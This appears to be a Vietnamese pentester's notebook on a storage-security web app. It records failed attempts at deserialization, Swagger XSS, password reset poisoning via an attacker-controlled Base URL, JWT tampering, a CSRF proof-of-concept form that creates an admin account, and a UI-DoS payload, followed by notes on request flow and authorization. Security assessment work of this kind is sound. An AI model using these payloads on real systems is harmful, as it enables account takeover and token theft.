				throw new System.Text.Json.JsonException("boxTypeElement");
			}
			string @string = property.GetString();
			List<BoxItem> list2 = list;
			list2.Add(@string switch
			{
				"file" => JsonConvert.DeserializeObject<BoxFile>(item.ToString()), 
				"folder" => JsonConvert.DeserializeObject<BoxFolder>(item.ToString()), 
				"web_link" => JsonConvert.DeserializeObject<BoxWebLink>(item.ToString()), 
				_ => throw new System.Text.Json.JsonException(), 
			});
		}
		return list;
	}

Lần ngược lên trên: BoxItemConverterBoxCollectionMarkerConverterBoxFolderItemsRetrieverBoxItemsRequestsFactory.

Cần config Box Storage để có thể test Insecure Deserialization.
Chỉ có thể khai thác Insecure Deserialization ở trên thư viện JSON.NET chứ không phải thư viện System.Text.Json version 9 của Microsoft (các version thấp hơn vẫn có thể khai thác, ví dụ: CVE-2024-43485, CVE-2024-30105).

Swagger UI ❌

Ở trong /api/docs/index.html, tìm được đoạn script client-side có source là query param url như sau:

var url = window.location.search.match(/url=([^&]+)/);
if (url && url.length > 1) {
    url = decodeURIComponent(url[1]);
} else {
    url = undefined;
}
var urls = [{"url":"/api/docs/v1/swagger.json","name":"MetaDefender Storage Security API"}];
 
// ...
 
// Build a system
var ui = SwaggerUIBundle({
	url: url,
	urls: urls,  
	validatorUrl: null,
	oauth2RedirectUrl: window.location.origin + "/api/docs/oauth2-redirect.html",
	
	docExpansion: "list", 
	operationsSorter: "alpha", 
	defaultModelsExpandDepth: 1, 
	defaultModelExpandDepth: 1, 
	tagsSorter: "none", 
	
	dom_id: '#swagger-ui',
	deepLinking: true,
	presets: [
	  SwaggerUIBundle.presets.apis,
	  SwaggerUIStandalonePreset
	],
	plugins: [
		SwaggerUIBundle.plugins.DownloadUrl,
		disableTryItOutPlugin
	],
	layout: "StandaloneLayout"
});

Tuy nhiên, theo tài liệu của Swagger, khi urls được sử dụng thì url sẽ bị bỏ qua: Configuration | Swagger Docs. Ngoài index.html, ta còn tìm thấy 2 file JavaScript là swagger-ui-bundle.jsswagger-ui-standalone-preset.js. Về mặt ý nghĩa, tham số này được dùng để chỉ định JSON schema được sử dụng để hiển thị. Ví dụ: ?url=https://petstore.swagger.io/v2/swagger.json.

Ở bên trong file swagger-ui-bundle.js có đoạn sau cho biết version của DOMPurify:

function createDOMPurify(s = nt()) {
  const DOMPurify = o => createDOMPurify(o);
  DOMPurify.version = "3.1.4";
  DOMPurify.removed = [];
  if (!s || !s.document || s.document.nodeType !== rt.document) {
	DOMPurify.isSupported = false;
	return DOMPurify;
  }

Phiên bản này có một lỗ hổng XSS: Cross-site Scripting (XSS) in dompurify | CVE-2025-26791 | Snyk.

Hơn thế nữa, khi truy cập /api/docs/oauth2-redirect.html, ta cũng thấy có client-side script nhưng không khai thác được gì.

Khi ở trang của Swagger UI, nhập JSON.stringify(versions) vào console sẽ giúp ta biết được version của Swagger UI:

{"swaggerUI":{"version":"5.17.14","gitRevision":"g8aa52920","gitDirty":true,"buildTimestamp":"Tue, 28 May 2024 05:23:41 GMT"}}

Phiên bản này không có lỗ hổng nào.

Password Reset Poisoning ❌

User với quyền admin có thể thay đổi cấu hình SMTP → đổi Base URL thành một controlled URL nào đó:

Gửi request cho nạn nhân:

BaseURL sẽ được hiển thị trong email reset password cùng reset token:

Nạn nhân click vào → leak reset token:

Tuy nhiên, bug này yêu cầu quyền admin để kiểm soát và không có cách remediation nào triệt để.

Ngoài được nhúng vào email reset password, Base URL còn được nhúng vào trong email thông báo có user vừa đăng ký tham gia ứng dụng:

Tuy nhiên, bug này cần quá nhiều điều kiện khai thác (user interaction, user có quyền cao config SMTP settings, etc) và impact của nó quá thấp nên ta sẽ không report.

OpenID Connect (OIDC) ❌

Khi kết thúc quá trình xác thực OIDC1 bằng Hybrid flow (có response_typecode id_token), request callback sẽ có dạng như sau:

POST /callback HTTP/1.1
Host: localhost
Cookie: .AspNetCore.OpenIdConnect.Nonce.CfDJ8PwGpo2ubfRBuMV9tdcxNpvWbDn19K2lCwITn0rF5aJDoQtMpV6NrOpEJDIK6KVTi6CU3BkR9jqHjwdTNiczpypg17DmMv955r6Ody3aAfV1U8wXrocaFytGW_HvH-d1j7n81k13in1KGHRA8vqSgHIppyLyLt8f1t5DlMfDOEEbq4JlWbQF7tF0qXJQG_tJUTNuaYtbN3tKMKNbTs9obMUOnDXflTe0GRTvBtrR51qDv2y7qR1VnAr5SlcNAMLglZRt0xE1ywxcOXx61HPrkog=N; accessToken=COOKIE_AUTH
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 1749
 
state=CfDJ8PwGpo2ubfRBuMV9tdcxNpvH19zTjgKyj3avSK4hJTvkM-o73vK1XfjpVOS015UxB7LnHPwNaGNK_WbzntXZn0xBEBMfJxHy2kFpWkOAkrxBuGKvXu2r4AGewYm_A3JEBU-D3AHyTS12EglP-QBKUq6V7IcmtXBJHtHPQaGUHRnsEE0rvfOsJpDu4JiwvtxVtvPsTp6X-MH-wvvmvhcR4gduxODM7DmIwR7u10aMREXPDL3CnLn_AA191lSF8N4pOiHFt0fH0fXPZuZd2XyfpA-6s3cO7jn5B4W2BzzLCQ5D&code=XdclDNiBz5Q7_brS_VYbnsw2sbMupkCd1fmzoo5c-TE&id_token=eyJraWQiOiJFSHl5dUtXMGhrODVYbWpxXzQtamN3dkQwZXgtMXl3eEV6aGt2R0JfVWYwIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiIwMHVvZm12azVzWVY3SzhGQzVkNyIsIm5hbWUiOiJhZG1pbiBhZG1pbiIsImxvY2FsZSI6ImVuX1VTIiwiZW1haWwiOiJhZG1pbkBwZW50ZXN0LmxvY2FsIiwidmVyIjoxLCJpc3MiOiJodHRwczovL2Rldi0yMzYzNTk2OS5va3RhLmNvbS9vYXV0aDIvZGVmYXVsdCIsImF1ZCI6IjBvYW9mbXdtbmhvQnBNYWE5NWQ3IiwiaWF0IjoxNzQ1ODMzNjM4LCJleHAiOjE3NDU4MzcyMzgsImp0aSI6IklELmNBRzNMYmVCaVlrTFJnUnVZNXR2dFI2NlQyS0VNVVA0SU9ydU1oVEN6bTgiLCJhbXIiOlsicHdkIl0sImlkcCI6IjAwb29mbG9zaHV0Z3hrOGIwNWQ3Iiwibm9uY2UiOiI2Mzg4MTQzMDM1MzEyNjExNTIuTldZNE9UTmxPVEV0Tm1FMFl5MDBZVFV6TFdJd056QXRZVEJsWldVNFl6bGxNVGcyT0RnNE9Ea3laRFV0TkRKa1l5MDBabUUzTFRrNU1XSXRaakJoTWpKbE1UUTJPVGxoIiwicHJlZmVycmVkX3VzZXJuYW1lIjoiYWRtaW5AcGVudGVzdC5sb2NhbCIsImdpdmVuX25hbWUiOiJhZG1pbiIsImZhbWlseV9uYW1lIjoiYWRtaW4iLCJ6b25laW5mbyI6IkFtZXJpY2EvTG9zX0FuZ2VsZXMiLCJ1cGRhdGVkX2F0IjoxNzQ1NDg3MTI5LCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiYXV0aF90aW1lIjoxNzQ1ODMwMDUyLCJjX2hhc2giOiJuZl9sMGxHanBTRTlOb0IzelgzdnhBIiwiZ3JvdXBzIjpbIkV2ZXJ5b25lIiwiU3NvQWRtaW5pc3RyYXRvciJdfQ.W6e1WhBdYb5A9uPc-YnwUdpBYikdtW0Rgh0NQ0oZgfmjR72lKGVL2yt_QxgpvAXd-wO6we1KUzIEVf6uQyd5zI6PosOPUE3GxXAgt2MVeZ-CsBCh7ds3JV6M5a3wVSeAmaVPV5-jA8_Vk9tvPkhH4eDhaxgFYhFetZXxKHc7V0GpMTJrOqZ-t27Ai3vna6PNz9N0ThBlOgxumcX1U9hpcEU9-RZkTSO6D5tHlYg7mYeM7y36eFbcFvIZRBOk5KOovcsqE0YYGNoh0zRpYVZqDVdo61L8x_odXiejGET-qLWgKaPpyTNAR3cga_x-K0OUH4NSXkQHjYTkk6Q1vdIGOg

Với:

  • state dùng để chống CSRF
  • code là authorization code dùng để xác thực
  • id_token là một JWT chứa dữ liệu về user
Thử lần lượt xóa và chỉnh sửa các giá trị trên thì không thành công.

Dữ liệu của id_token sau khi Base64-decoded:

{
  "kid": "EHyyuKW0hk85Xmjq_4-jcwvD0ex-1ywxEzhkvGB_Uf0",
  "alg": "RS256"
}
{
  "sub": "00uofmvk5sYV7K8FC5d7",
  "name": "admin admin",
  "locale": "en_US",
  "email": "admin@pentest.local",
  "ver": 1,
  "iss": "https://dev-23635969.okta.com/oauth2/default",
  "aud": "0oaofmwmnhoBpMaa95d7",
  "iat": 1745833820,
  "exp": 1745837420,
  "jti": "ID.RK29X_-5GsYwGJ0-xtUBJmzf_EqROtaVakbPGwPKX_0",
  "amr": [
    "pwd"
  ],
  "idp": "00oofloshutgxk8b05d7",
  "nonce": "638814303531261152.NWY4OTNlOTEtNmE0Yy00YTUzLWIwNzAtYTBlZWU4YzllMTg2ODg4ODkyZDUtNDJkYy00ZmE3LTk5MWItZjBhMjJlMTQ2OTlh",
  "preferred_username": "admin@pentest.local",
  "given_name": "admin",
  "family_name": "admin",
  "zoneinfo": "America/Los_Angeles",
  "updated_at": 1745487129,
  "email_verified": true,
  "auth_time": 1745830052,
  "c_hash": "ZHS3PvlYtYF6wv8spNP4VQ",
  "groups": [
    "Everyone",
    "SsoAdministrator"
  ]
}
Thử các tấn công trên JWT cho `id_token` thì không thành công.
 
Xem thêm [[Port Swigger - JWT Attacks|JWT Attacks]].

CSRF ❌

Khi đăng nhập bằng SSO mà cụ thể là thông qua OpenID, user sẽ được cấp các cookie như sau:

Cookie: .AspNetCore.Cookies=CfDJ8PwGpo2ubfRBuMV9tdcxNpuzsSZq4LoYpzjJSYu452gdXqJ17a674C0c17rQbvdRh9d8t9qdAU1TojxAt9rK5Achoj4d0hdS7kbrTwQbjzL1bcmrdOvFOwdJ2NGGpf_-QJdl4sEfACF7sWFgXDk64NvcSWd4_ztLua0uCXJKBzesHDAMdiq4xkO1D5xocHRFWIwQDI022p78PpfbQTUXn3_pC33GUHP_usp2AYgFS_QZbDIfTNzOnrvcstcE4JzSx4-nBVxqrrwgT8Xos3RFFPA6A8A61dllFqgjh9qJRhNWiHaBJ0rmpzuWirlmiRqBblbJyFjYmhtDWwx27kaN5Do; accessToken=COOKIE_AUTH; full_name=admin%20admin; user_email=admin@pentest.local; user_name=admin%20admin; role=SsoAdministrator; authenticationType=COOKIE; accessTokenExpiryTime=0001-01-01T00:00:00; refreshTokenExpiryTime=0001-01-01T00:00:00; user_id=7e69a648-09c3-4024-9f59-78f8c87e4ff5

Với .AspNetCore.Cookies là một native cookie của ASP.NET và được gọi là authentication ticket.

Cookie `.AspNetCore.Cookies` được serialized, mã hóa và ký rồi mới được Base64-encoded.
Do cookie `.AspNetCore.Cookies` không có attribute `Expires` nên ta có thể tái sử dụng giá trị cookie cũ.

Khi gửi request đến server, client không sử dụng JWT với header Authorization mà chỉ sử dụng các cookie này. Hơn thế nữa, attribute SameSite của cookie này được set thành None.

Thử khai thác CSRF thì thấy rằng đa số các request đều có Content-Typeapplication/json. Khi sử dụng payload sử dụng Content-Typex-www-form-urlencoded để giả dạng một JSON:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost/api/user/create" method="POST" enctype="x-www-form-urlencoded">
      <input type="hidden" name='{"email":"admin+2@pentest.local","userName":"eviladmin","fullName":"eviladmin","password":"Pentest@1337#","role":2,"dummy":"' value='"}' />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Ta nhận được response sau:

HTTP/1.1 415 Unsupported Media Type
Server: nginx
Date: Mon, 28 Apr 2025 07:30:40 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 176
 
{
  "type" : "https://tools.ietf.org/html/rfc9110#section-15.5.16",
  "title" : "Unsupported Media Type",
  "status" : 415,
  "traceId" : "00-5f2175316c6b4f4d4fafd4f631377f7c-c253a920e96ac6f7-00"
}

Điều này tương tự với text/plain.

Sử dụng Intruder duyệt qua tất cả các URL của các POST endpoint và thử lần lượt với application/x-www-form-urlencoded, multipart/form-datatext/plain thì thấy server validate đúng cho các request có request body. Đối với các request không có body thì tìm được các endpoint có thể dùng để DoS như sau:

  • POST /api/settings/admin/license/deactivate: deactivate license
  • POST /api/ocm: unenroll OCM
Hai endpoint trên không gây ra impact gì quá lớn và cần phải được thực hiện liên tục nên ta sẽ không xem đây là bug.

Nếu ta thay đổi enctype thành giá trị khác application/x-www-form-urlencoded, multipart/form-datatext/plain hoặc sử dụng Fetch API để chỉ định Content-Type thành application/json thì browser sẽ gửi một OPTIONS request đến server. Nếu server không set ACAO header cho response trả về thì request này sẽ bị chặn bởi browser và dẫn đến là sẽ không có POST request nào được gửi đi.

Còn một cách tiếp cận khác tận dụng Flash (file .swf) và tận dụng redirect response với status code là 307:

Tuy nhiên, do Flash đã cũ (deprecated từ 2020) nên không sử dụng cách tiếp cận này.

Tham khảo: [CSRF with JSON POST when Content-Type must be application/json - Information Security Stack Exchange](https://security.stackexchange.com/questions/170477/csrf-with-json-post-when-content-type-must-be-application-json)

UI DoS ❌

Khi chỉnh sửa Base URL của SMTP settings lại thành một hostname dài mà có chứa ký tự " như sau:

PATCH /api/settings/smtp HTTP/1.1
 
{
  "host" : "10.40.144.103",
  "port" : 25,
  "baseUrl" : "https://d08418hpnbdo4m7btpn0qnqs61iut86qf.insomnia1102.online\"",
  "senderAddress" : "",
  "senderName" : "",
  "domain" : "pentest.local",
  "username" : "admin@pentest.local",
  "secureSocketOption" : 0,
  "ignoreCertWarnings" : true,
  "isSmtpEnabled" : true
}

UI của trang SMTP settings ở path /settings/smtp sẽ bị đơ và console sẽ quăng lỗi như sau:

InternalError: too much recursion
    ky https://localhost/assets/index-XTvvbeis.js:732
    zCn https://localhost/assets/index-XTvvbeis.js:732
    JQ https://localhost/assets/index-XTvvbeis.js:38
    eU https://localhost/assets/index-XTvvbeis.js:40
    CJ https://localhost/assets/index-XTvvbeis.js:40
    SJ https://localhost/assets/index-XTvvbeis.js:40
    bAe https://localhost/assets/index-XTvvbeis.js:40
    gv https://localhost/assets/index-XTvvbeis.js:40
    dU https://localhost/assets/index-XTvvbeis.js:40
    _J https://localhost/assets/index-XTvvbeis.js:40
    v https://localhost/assets/index-XTvvbeis.js:25
    U https://localhost/assets/index-XTvvbeis.js:25
SES_UNCAUGHT_EXCEPTION: InternalError: too much recursion
    ky https://localhost/assets/index-XTvvbeis.js:732
    zCn https://localhost/assets/index-XTvvbeis.js:732
    JQ https://localhost/assets/index-XTvvbeis.js:38
    eU https://localhost/assets/index-XTvvbeis.js:40
    CJ https://localhost/assets/index-XTvvbeis.js:40
    SJ https://localhost/assets/index-XTvvbeis.js:40
    bAe https://localhost/assets/index-XTvvbeis.js:40
    gv https://localhost/assets/index-XTvvbeis.js:40
    dU https://localhost/assets/index-XTvvbeis.js:40
    _J https://localhost/assets/index-XTvvbeis.js:40
    v https://localhost/assets/index-XTvvbeis.js:25
    U https://localhost/assets/index-XTvvbeis.js:25
Ý tưởng ban đầu là DoS giao diện của user xem trang settings của SMTP. Tuy nhiên, tất cả các user có quyền đọc SMTP settings đều có quyền chỉnh sửa thông qua API. Khi đó, họ có thể sửa lại giá trị cho đúng. Dẫn đến, không thể thực hiện DoS giao diện được.

Behaviours

Request Flow

Xét ví dụ thêm mới một storage thông qua endpoint POST /api/storage, ta sẽ phân tích luồng của request trong kiến trúc CQRS.

Request sẽ đi qua API gateway ở port 8005 với controller tương ứng:

[Route("api/[controller]")]
[ApiController]
[Authorize(Policy = "HasLocalOrSsoReadOnlyPrivileges")]
[OpenApiTag("Storage", Description = "Manage your storage units")]
[Produces("application/json", new string[] { })]
public sealed class StorageController : ControllerBase
{
	// ...
 
	[HttpPost]
	[Authorize(Policy = "HasLocalOrSsoTenantAdministrativePrivileges")]
	public async Task<ActionResult<AddNewStorageCommandResponse>> AddStorage([FromForm][Required] AddStorageParameters storageParameters, CancellationToken cancellationToken = default(CancellationToken))
	{
		cancellationToken.ThrowIfCancellationRequested();
		IAddNewStoragePipeline addNewStoragePipeline = _addNewStoragePipeline;
		return ObjectResultHelper.GetObjectResult(await addNewStoragePipeline.Handle(new AddNewStorageCommandRequest(storageParameters, await this.GetCurrentUserInfo(_mediator, cancellationToken)), cancellationToken), "AddNewStorageCommandRequest");
	}
 
	// ...
}

Sau đó, request sẽ được handle bởi hàm Handle của pipeline tương ứng, với đối số truyền vào là một CommandRequest (hoặc QueryRequest đối với query):

public sealed class AddNewStoragePipeline(ICredentialsFileInputHelper credentialsFileInputHelper, IEventBusService eventBusService, IMediator mediator) : IAddNewStoragePipeline, IPipeline<AddNewStorageCommandRequest, AddNewStorageCommandResponse>
{
	// ...
	public async Task<AddNewStorageCommandResponse> Handle(AddNewStorageCommandRequest request, CancellationToken cancellationToken) {
		// ...
		AddStorageRpcResponse addStorageRpcResponse = await eventBusService.PublishRpc<AddStorageEvent, AddStorageRpcResponse>(new AddStorageEvent
		{
			StorageInformation = storageInformation,
			UserInfo = request.UserInfo
		}, cancellationToken);
		// ...
	}
	// ...
}

Có thể thấy, hàm Handle gửi một gRPC event đến service tương ứng chịu trách nhiệm tạo storage. Cụ thể hơn, hàm xử lý AddStorageEvent sẽ là:

private async Task<AddStorageRpcResponse> AddStorageEventHandler(AddStorageEvent addStorageRpcEvent, CancellationToken cancellationToken) {
	// ...
	CreateStorageRpcResponse createStorageRpcResponse = await _eventBusService.PublishCreateStorageRpcEvent(StoragesHelper.CreateStorageEventHelper(addStorageRpcEvent, sameVendorTypeStorages, protocolType), cancellationToken);
	// ...
}

Hàm này nằm trong file StoragesService.cs của opswat.mdss.storages.service.

Với hàm CreateStorageEventHelper dùng để tạo ra một CreateStorageEvent:

public static CreateStorageEvent CreateStorageEventHelper(AddStorageEvent addStorageRpcEvent, IEnumerable<StorageMessage> sameVendorTypeStorages, ProtocolType protocolType)
{
	return new CreateStorageEvent
	{
		StorageInformation = addStorageRpcEvent.StorageInformation,
		SameVendorTypeStorages = sameVendorTypeStorages,
		ProtocolType = protocolType
	};
}

Tiếp đến, CreateStorageEvent sẽ được handle bởi hàm Handle của từng loại storage. Ví dụ bên dưới là hàm Handle của CreateStoragePipeline.cs thuộc opswat.mdss.storages.mft.service:

public async Task<CreateStorageCommandResponse> Handle(CreateStorageCommandRequest request, CancellationToken cancellationToken)
{
	// ...
	GenerateStorageCommandResponse generateStorageCommandResponse = await _mediator.Send((IRequest<GenerateStorageCommandResponse>)new GenerateStorageCommandRequest(request.StorageInformation), cancellationToken);
	// ...
	if ((await _mediator.Send((IRequest<StorageIdentityQueryResponse>)new StorageIdentityQueryRequest(request.SameVendorTypeStorages, generateStorageCommandResponse.Storage), cancellationToken)).DoesStorageAlreadyExist)
	// ...
	HandlerResponse handlerResponse = await _mediator.Send((IRequest<HandlerResponse>)new TestStorageCommandRequest(generateStorageCommandResponse.Storage), cancellationToken);
	// ...
	
}

Có thể thấy, nó tiếp tục thực hiện các command/query để tạo ra một storage. Với command GenerateStorageCommand được handle bởi opswat.mdss.storages.mft.service như sau:

internal class GenerateStorageCommandHandler(IMediator mediator) : IRequestHandler<GenerateStorageCommandRequest, GenerateStorageCommandResponse>
{
	public async Task<GenerateStorageCommandResponse> Handle(GenerateStorageCommandRequest request, CancellationToken cancellationToken)
	{
		cancellationToken.ThrowIfCancellationRequested();
		CreateStorageInformation storageInformation = request.StorageInformation;
		ValidateAddStorageCommandResponse validateAddStorageCommandResponse = await mediator.Send((IRequest<ValidateAddStorageCommandResponse>)new ValidateAddStorageCommandRequest
		{
			VendorType = storageInformation.VendorType,
			ProtocolType = storageInformation.ProtocolType,
			Source = storageInformation.Source,
			Credentials = storageInformation.Credentials
		}, cancellationToken);
		// ...
	}
}

Command ValidateAddStorage chính là command thực hiện validate và khởi tạo giá trị cho các field của storage.

Để tương tác với database, sẽ có một lớp tên là StorageProvider, cung cấp các hàm chẳng hạn như AddNewStorage như bên dưới:

public Task<bool> AddNewStorage(NewStorage storage, CancellationToken cancellationToken = default(CancellationToken))
{
	return _database.InsertOne(storage, "storages", cancellationToken);
}

Cụ thể hơn, trong ví dụ trên, hàm AddStorageEventHandler sẽ gọi hàm AddNewStorage của StorageProvider như sau:

if (!(await _storageProvider.AddNewStorage(newStorageModel, cancellationToken)))
{
	return AddStorageRpcResponse.HandleFailToAddStorageRpcResponse("Storage " + storageLogInfo.Template + " could not be added to the database.", storageLogInfo.DataObjects);
}

Minh họa:

flowchart TD
    A[Client] -->|POST /api/storage| B[API Gateway:8005]
    B --> C["StorageController - AddStorage()"]
    C --> D["AddNewStoragePipeline - Handle()"]
    D -->|"PublishRpc(AddStorageEvent)"| E["StoragesService - AddStorageEventHandler()"]
    E --> F["CreateStorageEventHelper()"]
    F -->|PublishCreateStorageRpcEvent| G["CreateStoragePipeline - Handle()"]
    G --> H["GenerateStorageCommandHandler - Handle()"]
    H --> I["ValidateAddStorageCommandHandler - Handle()"]
    G --> J["StorageIdentityQueryHandler - Handle()"]
    G --> K["TestStorageCommandHandler - Handle()"]
    I --> L["MongoDB - AddNewStorage()"]

Authorization

Việc kiểm tra access control được thực hiện bằng cách dùng annotation [Authorize(Policy = "PolicyName")] ở trong code.

Ví dụ, nếu dùng cho controller thì toàn bộ các path của controller đều sẽ được áp dụng annotation:

[Obsolete("Obsolete")]
[Route("api/[controller]")]
[ApiController]
[Authorize(Policy = "HasLocalOrSsoAdministrativePrivileges")]
[Produces("application/json", new string[] { })]
public sealed class CorePoolController : ControllerBase {
 
}

Ví dụ trên chỉ cho phép user có quyền admin truy cập.

Cũng có thể dùng cho một method đơn lẻ:

[HttpPatch]
[OpenApiOperation("Update an account", "")]
[Authorize(Policy = "HasLocalOrSsoAdministrativePrivileges")]
public async Task<ActionResult<UpdateAccountCommandResponse>> UpdateAccount(UpdateAccountParameters updateAccountParameters, CancellationToken cancellationToken = default(CancellationToken)) {
 
}

Ngoài policy trên thì còn có các policy sau:

[Authorize(Policy = "HasLocalOrSsoReadOnlyPrivileges")]
 
[Authorize(Policy = "HasLocalOrSsoTenantAdministrativePrivileges")]

Header Parameter

Controller có thể nhận header làm đối số nếu nó dùng annotation FromHeader như sau:

[FromHeader(Name = "searchTerm")][RegularExpression("^[^@#$%&*\"';:.|,{}?+=><`~^[\\]!\\\\]+$", ErrorMessage = "Not a valid name")] string searchTerm

Dòng trên nằm ở trong hàm EnumerateActiveUsers của UserController.cs.

On-Site Redirect

Khi gửi request đến /assets (không có / ở cuối) mà có sử dụng JWT, ta nhận được response là một server-side redirect như sau:

HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Tue, 22 Apr 2025 04:06:58 GMT
Content-Type: text/html
Content-Length: 162
Location: http://10.40.144.103/assets/

Với hostname là giá trị của Host header trong request.

Ngoài ra, nếu dùng URL trong request line:

GET https://www.google.com/assets HTTP/1.1
Host: 10.40.144.103

Location sẽ là: http://www.google.com/assets/

Reuse API Key

Nếu ta dùng lại API cũ thông qua POST /api/apikey:

POST /api/apikey HTTP/1.1
Host: localhost
 
{
  "value" : "12345"
}

Thì response sẽ có status code là 500:

HTTP/1.1 500 Internal Server Error
Server: nginx
Date: Wed, 23 Apr 2025 07:46:06 GMT
Content-Length: 0
Connection: keep-alive
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline'; img-src 'self' data:;
Strict-Transport-Security: max-age=15724800; includeSubDomains

Footnotes

  1. xem thêm Extending OAuth with OpenID Connect